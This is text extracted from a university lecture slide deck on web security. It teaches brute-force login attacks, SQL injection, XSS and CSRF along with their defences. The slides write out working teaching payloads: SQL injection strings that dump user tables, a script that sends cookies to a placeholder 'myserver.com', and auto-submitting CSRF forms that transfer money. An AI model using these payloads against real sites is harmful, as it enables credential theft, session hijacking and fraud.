Web Security
Software Studio yslin@DataLAB
1
eb Security Software Studio yslin@DataLAB 1 Common Security - - PowerPoint PPT Presentation
eb Security Software Studio yslin@DataLAB 1 Common Security Risks Brute-Force Attacks SQL Injections Cross-Site Scripting (XSS) Cross-Site Request Forgery (CSRF) 2 Common Security Risks Brute-Force Attacks SQL
Software Studio yslin@DataLAB
1
2
3
Username: Password:
4
admin
Username: Password:
5
admin
Username: Password: 00000
6
admin
Username: Password: 00000
Close
Wrong Password
7
admin
Username: Password: 00001
8
admin
Username: Password: 00000
Close
Wrong Password
9
admin
Username: Password: 00002
10
admin
Username: Password: 00000
Close
Wrong Password
11
12
admin
Username: Password: 04876
13
admin
Username: Password: 04876
Close
Access Granted
14
admin
Username: Password: 04876
Close
Access Granted
Usually hackers do this using scripts
14
15
Limit how many times a user can try to login in a given time window. Rate Limiter - A Node.js library
15
admin
Username: Password: 00002
16
admin
Username: Password: 00000
Close
Please Try It 5 minutes Later
17
admin
Username: Password: 00000
Close
Please Try It 5 minutes Later
17
18
18
Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345
A list of known username-password pairs
19
Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345
A list of known username-password pairs
cat
Username: Password:
meow
19
20
The most common strategy is CAPTCHA
20
21
Username: Password:
22
function get(username, password) { const sql = ` SELECT * FROM users WHERE username = '${username}' AND password = '${password}' `; return db.any(sql); }
23
cat
Username: Password: meow
SELECT * FROM users WHERE username = 'cat' AND password = 'meow'
24
cat
Username: Password: meow
SELECT * FROM users WHERE username = 'cat' AND password = 'meow'
username password name cat meow A Cat
24
Users Do What You Do Not Expect
25
cat
Username: Password: 1' OR '1' = '1
SELECT * FROM users WHERE username = 'cat' AND password = '1' OR '1' = '1'
26
cat
Username: Password: 1' OR '1' = '1
SELECT * FROM users WHERE username = 'cat' AND password = '1' OR '1' = '1'
username password name admin AAAAAAAA Adminstrator cat meow A Cat dog bow A Dog bird chou A Bird
26
27
28
SELECT title, message FROM posts WHERE id = 1
id title message 1 HL3 When can I see Half-Life 3 coming out ?
28
SELECT title, message FROM posts WHERE id = 1
29
SELECT title, message FROM posts SELECT username, password FROM users
title message Knock Knock knock username password admin AAAAAAAA cat meow
30
SELECT title, message FROM posts SELECT username, password FROM users
title message Knock Knock knock username password admin AAAAAAAA cat meow
SELECT title, message FROM posts UNION SELECT username, password FROM users
30
SELECT title, message FROM posts SELECT username, password FROM users
title message Knock Knock knock username password admin AAAAAAAA cat meow
SELECT title, message FROM posts UNION SELECT username, password FROM users
title message Knock Knock knock admin AAAAAAAA cat meow
30
31
SELECT title, message FROM posts WHERE id = -1 UNION SELECT username, password FROM users
31
SELECT title, message FROM posts WHERE id = -1 UNION SELECT username, password FROM users
title message admin AAAAAAAA cat meow dog bow bird chou
32
33
SELECT title, message FROM posts WHERE id = -1 UNION SELECT table_name, column_name FROM information_schema.columns WHERE table_schema = 'public';
34
SELECT title, message FROM posts WHERE id = -1 UNION SELECT table_name, column_name FROM information_schema.columns WHERE table_schema = 'public';
title message users id users username users bow users name posts id posts title posts message
34
SELECT title, message FROM posts WHERE id = ... AND msg_type = 'public'
35
36
36
37
SELECT title, message FROM posts WHERE id = -1 UNION SELECT username, password FROM users -- AND msg_type = 'public'
37
SELECT title, message FROM posts WHERE id = -1 UNION SELECT username, password FROM users -- AND msg_type = 'public'
Becomes a comment
38
39
39
function get(username, password) { const sql = ` SELECT * FROM users WHERE username = '$<username>' AND password = '$<password>' `; return db.any(sql, {username, password}); }
40
function get(username, password) { const sql = ` SELECT * FROM users WHERE username = '$<username>' AND password = '$<password>' `; return db.any(sql, {username, password}); }
Your data go here
40
pg-promise
statements on their documents:
by-Example#prepared-statements
41
42
43
User: SLMT Steam winter sale starts !! User: MIT Bro
Please type in your message here…
44
My wallet is ready !!
<script>alert(“meow”);</script>
45
User: SLMT Steam winter sale starts !! User: MIT Bro My wallet is ready !!
<script>alert(“meow”);</script>
46
User: SLMT Steam winter sale starts !! User: MIT Bro My wallet is ready !! User: SLMT
User: SLMT Steam winter sale starts !! User: MIT Bro My wallet is ready !! User: SLMT Close
meow
47
48
49
49
50
50
50
E.g. A session key for a server to identify a user
50
51
Try to open a console of a browser, and type in document.cookie
51
<script>location.href=("http:// myserver.com/somepage?cookie=" + document.cookie);</script>
52
User: SLMT Steam winter sale starts !! User: MIT Bro My wallet is ready !!
http://myserver.com/somepage?cookie=
53
http://myserver.com/somepage?cookie=
53
http://myserver.com/somepage?cookie=
53
54
So, other websites without such functions are safe ?
54
So, other websites without such functions are safe ?
54
55
http://somewebsite.com/showimage?id=1 You are watching an image with id = 1
56
http://somewebsite.com/showimage?id=a
57
You are watching an image with id = a
http://somewebsite.com/showimage?id=<script>al…
58
You are watching an image with id =
http://somewebsite.com/showimage?id=<script>al…
確定
58
You are watching an image with id =
Hi~ Hello~ A cute cat !! http://goo.gl/abcdef
59
Hi~ Hello~ A cute cat !! http://goo.gl/abcdef http://somewebsite.com/showimage? id=<script>location.href=(“http://myserver.com/ somepage?cookie=" + document.cookie);</script>
59
60
61
61
61
62
63
63
63
64
64
65
65
‘https’ with ‘http’
66
67
<script>alert("meow");</script>
68
<script>alert("meow");</script> <script>alert("meow");</script>
68
<script>alert("meow");</script> <script>alert("meow");</script>
Lots of Framework have provide such built-in functions
68
69
70
71
71
Only 20% of websites in Taiwan using those headers.
71
Only 20% of websites in Taiwan using those headers. Only 7.8% of websites using more than two such headers.
72
73
https://www.bank.com Hi Mr. Rich, Your Balance: $1,000,000
74
https://www.bank.com Hi Mr. Rich, Your Balance: 1,000,000 $ https://www.lottery.com Click to win an iPhone!
75
https://www.bank.com Hi Mr. Rich, Your Balance: 1,000,000 $ https://www.lottery.com Click to win an iPhone!
76
https://www.bank.com Hi Mr. Rich, Your Balance: $87
77
https://www.bank.com Hi Mr. Rich, Your Balance: $87
78
79
The bank may provide an API for transferring money https://www.bank.com/transfer?to_account={name} &amount={amount}
80
The hacker then put the following form on the web page
<form method="GET" action="https://www.bank.com/transfer"> <input type="hidden" name="to_account" value="hacker"/> <input type="hidden" name="amount" value="1000000"/> <input type="submit" value="Click to win an iPhone!"/> </form>
81
https://www.bank.com/transfer? to_account=hacker&amount=1000000
Wait… but the bank website needs my cookie to grant access, right?
82
That’s true. However, the browser will provide the cookie since you are sending requests to the bank’s website.
<form method="GET" action="https://www.bank.com/transfer"> <input type="hidden" name="to_account" value="hacker"/> <input type="hidden" name="amount" value="1000000"/> <input type="submit" value="Click to win an iPhone!"/> </form>
83
84
84
84
Even worse, the hacker can do this:
<iframe style="display:none" name="csrf-frame"></iframe> <form method='GET' action='https://www.bank.com/transfer' target="csrf-frame" id="csrf-form"> <input type="hidden" name="to_account" value="hacker"/> <input type="hidden" name="amount" value="1000000"/> <input type='submit' value='submit'> </form> <script>document.getElementById("csrf-form").submit()</script>
85
86
87
88
https://www.bank.com/transfer?to_account={name} &amount={amount}&token={generated_value} Generate a token on the server-side and add the token to the request url
89
https://www.bank.com/transfer?to_account={name} &amount={amount}&token={generated_value} Generate a token on the server-side and add the token to the request url
Only the requests generated by banks will have valid tokens!
Hard for the hacker to know what are the tokens
89
tokens.
90
91
send cookies when the request is not coming from its origin url.
Set-Cookie: session_id=f7s8e9f98es3; Set-Cookie: session_id=f7s8e9f98es3; SameSite=Lax
92
user are navigating to the URL
Headers/Set-Cookie#Browser_compatibility
93
https://blog.techbridge.cc/2017/02/25/csrf-introduction/ An interesting walkthrough for CSRF attacks (recommend to read)
94
Rank Name 1 Injection 2 Broken Authentication 3 Sensitive Data Exposure 4 XML External Entities (XXE) 5 Broken Access Control 6 Security Misconfiguration 7 Cross-Site Scripting XSS 8 Insecure Deserialization 9 Using Components with Known Vulnerabilitie 10 Insufficient Logging & Monitoring
https://owasp.org/www-project-top-ten/
95
96
JavaScript and contains many common vulnerabilities including OWASP top 10 risks.
97
risks on Node.js.
developers
98
they found.
99
100